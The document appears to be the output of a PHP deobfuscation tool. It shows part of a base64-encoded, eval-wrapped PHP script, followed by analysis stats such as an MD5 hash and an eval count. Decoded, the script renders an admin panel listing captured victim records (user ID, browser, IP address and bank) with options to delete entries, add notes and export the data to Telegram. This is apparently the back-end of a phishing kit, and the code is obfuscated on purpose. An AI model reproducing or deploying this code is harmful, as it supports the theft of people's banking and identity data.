9uIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkgY29sLWxnLTEyIiBvbmNsaWNrPSJkZWxldGVMb2coJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbG9nWyd1c2VyX2lkJ10pOz8+JykiIHN0eWxlPSJmb250LXN0eWxlOiBpdGFsaWM7IiBpZD0iIj48aSBjbGFzcz0iZmEgZmEtdHJhc2giPjwvaT4gRGVsZXRlIFVzZXI8L2J1dHRvbj4NCiAgICAgICAgPGJyPg0KICAgICAgICA8YnI+DQogICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSBjb2wtbGctMTIiIG9uY2xpY2s9InNlbmRUb1RlbGVncmFtKCkiIHN0eWxlPSJmb250LXN0eWxlOiBpdGFsaWM7Ij48aSBjbGFzcz0iZmFiIGZhLXRlbGVncmFtLXBsYW5lIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiBFeHBvcnQgVG8gVGVsZWdyYW08L2J1dHRvbj4gDQoJCTxicj4NCgkJPGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJmb250LXN0eWxlOiBpdGFsaWM7IiBjbGFzcz0iZm9ybS1jb250cm9sIHJhYm8tbG9naW4gaW5wdXQtZGFyayBtdC00IGN1c3RvbS1pbnB1dCIgcGxhY2Vob2xkZXI9Ijw/cGhwIGVjaG8gJGxvZ1snbm90ZSddID8gaHRtbHNwZWNpYWxjaGFycygkbG9nWydub3RlJ10pIDogJ0xlYXZlIGEgbm90ZSBmb3IgKCcgLiBodG1sc3BlY2lhbGNoYXJzKCRsb2dbJ3VzZXJfaWQnXSkgLiAnKSc7ID8+IiBpZD0ibm90ZSI+DQoJCTxicj4NCiAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSBjb2wtbGctMTIiIG9uY2xpY2s9InVwZGF0ZU5vdGUoJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbG9nWyd1c2VyX2lkJ10pOz8+JywgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25vdGUnKS52YWx1ZSkiIHN0eWxlPSJmb250LXN0eWxlOiBpdGFsaWM7Ij48aSBjbGFzcz0iZmEgZmEtZWRpdCI+PC9pPiBVcGRhdGUgTm90ZTwvYnV0dG9uPg0KICAgICAgICA8P3BocA0KICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICBlY2hvICc8L2Rpdj4nOw0KDQogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9InJvdyBwLTEgbXQtMyBtYi0zIj4nOw0KICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wtbGctOCBjb2wtc20tMTIiPic7DQogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC0xMiBwLTQgYmctZGFya2VyIHJvdW5kZWQiPic7DQogICAgICAgIGVjaG8gJzxoNCBjbGFzcz0idGV4dC13aGl0ZSI+PGkgY2xhc3M9ImZhIGZhLXVzZXIiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IFVzZXIgRGF0YTwvaDQ+JzsNCiAgICAgICAgZWNobyAnPGhyIGNsYXNzPSJteS00Ij4nOw0KICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJiZy1kYXJrZXN0LWluc2lkZSBwLTQgcm91bmRlZCI+JzsNCiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPic7DQogICAgICAgIGVjaG8gJzxsYWJlbCBmb3I9ImlkIiBjbGFzcz0idGV4dC1zZWNvbmRhcnkgY29sLXNtLTMgZm9udC13ZWlnaHQtYm9sZCI+VXNlciBJRDo8L2xhYmVsPic7DQogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1zbS05Ij4nOw0KICAgICAgICBlY2hvICc8cCBjbGFzcz0idGV4dC1zZWNvbmRhcnkiPjxpPicgLiAkbG9nWyd1c2VyX2lkJ10gLiAnPC9pPjwvcD4nOw0KICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIHJvdyI+JzsNCiAgICAgICAgZWNobyAnPGxhYmVsIGZvcj0iaWQiIGNsYXNzPSJ0ZXh0LXNlY29uZGFyeSBjb2wtc20tMyBmb250LXdlaWdodC1ib2xkIj5Vc2VyIEJyb3dzZXI6PC9sYWJlbD4nOw0KICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wtc20tOSI+JzsNCiAgICAgICAgZWNobyAnPHAgY2xhc3M9InRleHQtc2Vjb25kYXJ5Ij48aT4nIC4gJGxvZ1sndXNlcl9hZ2VudCddIC4gJzwvaT48L3A+JzsNCiAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPic7DQogICAgICAgIGVjaG8gJzxsYWJlbCBmb3I9ImlkIiBjbGFzcz0idGV4dC1zZWNvbmRhcnkgY29sLXNtLTMgZm9udC13ZWlnaHQtYm9sZCI+VXNlciBJUDo8L2xhYmVsPic7DQogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1zbS05Ij4nOw0KICAgICAgICBlY2hvICc8cCBjbGFzcz0idGV4dC1zZWNvbmRhcnkiPjxpPicgLiAkbG9nWydpcCddIC4gJzwvaT48L3A+JzsNCiAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgaWYgKCFlbXB0eSgkbG9nWydiYW5rJ10pKSB7DQogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIHJvdyI+JzsNCiAgICAgICAgICAgIGVjaG8gJzxsYWJlbCBmb3I9ImlkIiBjbGFzcz0idGV4dC1zZWNvbmRhcnkgY29sLXNtLTMgZm9udC13ZWlnaHQtYm9sZCI+QmFuazo8L2xhYmVsPic7DQogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wtc20tOSI+JzsNCiAgICAgICAgICAgIGVjaG8gJzxwIGNsYXNzPSJ0ZXh0LXNlY29uZGFyeSI+PGk+JyAuICRsb2dbJ2JhbmsnXSAuICc8L2k+PC9wPic7DQogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgIH0NCn0NCg==")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 e49695f18108a902223c6389001a9751
Eval Count 1
Decode Time 141 ms